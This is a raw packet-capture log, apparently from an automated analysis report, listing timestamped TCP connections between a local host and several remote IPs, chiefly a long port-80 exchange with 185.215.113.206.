Nov 18, 2024 13:29:34.345290899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.345290899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.345300913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.345333099 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.345772982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345788956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345799923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345812082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345828056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.345850945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.345875978 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.357326031 CET	49820	443	192.168.2.8	23.198.7.185
Nov 18, 2024 13:29:34.357340097 CET	443	49820	23.198.7.185	192.168.2.8
Nov 18, 2024 13:29:34.387520075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.387536049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.387556076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.387567043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.387589931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.387635946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.402192116 CET	49820	443	192.168.2.8	23.198.7.185
Nov 18, 2024 13:29:34.420962095 CET	443	49819	204.79.197.219	192.168.2.8
Nov 18, 2024 13:29:34.421200991 CET	49819	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:34.421211004 CET	443	49819	204.79.197.219	192.168.2.8
Nov 18, 2024 13:29:34.422583103 CET	443	49819	204.79.197.219	192.168.2.8
Nov 18, 2024 13:29:34.422642946 CET	49819	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:34.423091888 CET	49819	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:34.423178911 CET	443	49819	204.79.197.219	192.168.2.8
Nov 18, 2024 13:29:34.459328890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.459348917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.459361076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.459412098 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.459443092 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.459507942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.459520102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.459531069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.459542036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.459553957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.459557056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.459593058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.459593058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.459635973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.459647894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.459686041 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.460082054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.460103989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.460114002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.460144043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.460165024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.460206985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.460218906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.460228920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.460258007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.460278988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.460860968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.460901022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.460916042 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.460944891 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.460946083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.460961103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.460984945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.460998058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.461025953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.461057901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.461066008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.461070061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.461093903 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.461093903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.461121082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.461147070 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.461229086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.461241961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.461252928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.461281061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.461306095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.461757898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.461798906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.461806059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.461812973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.461850882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.461879015 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.461890936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.461900949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.461916924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.461927891 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.461998940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462011099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462022066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462050915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462066889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462093115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462105036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462126017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462132931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462166071 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462178946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462356091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462409973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462414980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462425947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462446928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462462902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462472916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462483883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462487936 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462501049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462532997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462554932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462611914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462618113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462629080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462665081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462693930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462704897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462714911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462743998 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462755919 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462802887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462814093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462824106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462835073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462846994 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462862015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462898970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462908030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462944984 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.462969065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.462980032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463016987 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.463103056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463179111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.463191032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463203907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463239908 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.463258982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463278055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463323116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.463388920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463401079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463412046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463423014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.463459015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.463489056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463500023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463510990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463517904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463534117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.463556051 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.463588953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463625908 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.463665962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463676929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463687897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463700056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463711977 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.463740110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.463799000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463871002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463881969 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.463884115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463917971 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.463958979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463970900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.463996887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.464023113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.464683056 CET	49819	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:34.464694023 CET	443	49819	204.79.197.219	192.168.2.8
Nov 18, 2024 13:29:34.464795113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.464843035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.464853048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.464884043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.464909077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.464920998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.464920998 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.464956999 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.464956999 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.464973927 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.464998007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465009928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465013027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.465095043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465106964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465127945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.465141058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.465167046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465178967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465188980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465213060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.465239048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.465260983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465270042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465280056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465317011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.465317011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.465522051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465560913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465563059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.465576887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465611935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.465656996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465668917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465718985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.465735912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465771914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.465805054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465815067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.465841055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.465850115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.466188908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.466239929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.466250896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.466285944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.466300011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.466357946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.466371059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.466381073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.466389894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.466408968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.466442108 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.505419016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.505430937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.505440950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.505455017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.505486012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.505500078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.505527020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.505548954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.511550903 CET	49819	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:34.517138004 CET	49824	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:34.517175913 CET	443	49824	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:34.517498970 CET	49824	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:34.517673969 CET	49824	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:34.517692089 CET	443	49824	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:34.537476063 CET	443	49821	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:34.537769079 CET	49821	443	192.168.2.8	20.125.209.212
Nov 18, 2024 13:29:34.537782907 CET	443	49821	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:34.538149118 CET	443	49821	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:34.538908958 CET	49821	443	192.168.2.8	20.125.209.212
Nov 18, 2024 13:29:34.539005995 CET	443	49821	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:34.539274931 CET	49821	443	192.168.2.8	20.125.209.212
Nov 18, 2024 13:29:34.577318907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.577332973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.577346087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.577357054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.577394009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.577413082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.577425957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.577433109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.577445030 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.577471018 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.577507973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.577522039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.577533007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.577544928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.577544928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.577557087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.577559948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.577577114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.577604055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.577656031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.577699900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.577711105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.577744961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.578095913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.578119040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.578130007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.578151941 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.578169107 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.578169107 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.578206062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.578218937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.578229904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.578259945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.578275919 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.578722000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.578763962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.578774929 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.578774929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.578811884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.578844070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.578854084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.578876019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.578885078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.578895092 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.578906059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.578922033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.579042912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.579082012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.579087019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.579099894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.579130888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.579216003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.579226971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.579237938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.579252005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.579279900 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.579333067 CET	443	49821	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:34.579967976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580019951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.580027103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580041885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580075026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.580107927 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580118895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580130100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580152988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.580172062 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.580315113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580324888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580382109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.580481052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580492973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580504894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580511093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580523014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.580544949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.580698013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580709934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580720901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580732107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580750942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580751896 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.580775023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.580789089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.580820084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580853939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.580890894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580900908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580913067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.580939054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.580950975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.581037998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581049919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581064939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581079960 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.581084013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581104040 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.581131935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.581212044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581223011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.581234932 CET	80	49746	185.215.113.206	192.168.2.8
